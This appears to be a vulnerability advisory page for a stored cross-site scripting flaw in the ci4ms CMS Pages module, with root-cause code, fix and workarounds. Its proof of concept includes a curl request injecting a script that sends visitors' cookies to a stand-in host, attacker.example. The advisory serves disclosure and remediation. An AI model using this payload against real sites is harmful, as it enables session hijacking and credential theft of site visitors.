CI4MS has stored XSS in Pages Content Due to Missing html_purify SanitizationGHSA-fjpj-6qcq-6pw2
MEDIUMGHSA-fjpj-6qcq-6pw2 is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fjpj-6qcq-6pw2.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.
Details
The Blog module correctly applies HTMLPurifier sanitization to content fields:
modules/Blog/Controllers/Blog.php:82
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
The Pages module omits this rule in both create and update methods:
modules/Pages/Controllers/Pages.php:82 (create)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
modules/Pages/Controllers/Pages.php:130 (update)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
Content is stored directly without sanitization:
modules/Pages/Controllers/Pages.php:111 (create path)
'content' => $lData['content'],
modules/Pages/Controllers/Pages.php:157 (update path)
'content' => $lData['content'],
On the public frontend, the content is rendered as raw HTML without escaping:
app/Views/templates/default/pages.php:32
<?php echo $pageInfo->content ?>
Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.
The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.
PoC
Step 1: Create a page with XSS payload (requires admin session)
curl -X POST https://target/backend/pages/create \
-b 'ci_session=ADMIN_SESSION_COOKIE' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
Step 2: Visit the page as any unauthenticated user
https://target/tr/test-xss-page
Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.
Impact
- Session hijacking: Attacker steals session cookies of any visitor, including other administrators
- Credential theft: Injected JavaScript can render fake login forms or keylog credentials
- Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
- Malware distribution: Injected scripts can redirect visitors or load external payloads
The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.
Recommended Fix
Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:
modules/Pages/Controllers/Pages.php:82 — change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
to:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
modules/Pages/Controllers/Pages.php:130 — apply the same change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.4.0composer require ci4-cms-erp/ci4ms:^0.31.4.0 |
Affected Products
ci4msci4-cms-erpDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fjpj-6qcq-6pw2 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-fjpj-6qcq-6pw2 in your dependencies?
Find it across Packagist, including transitive dependencies.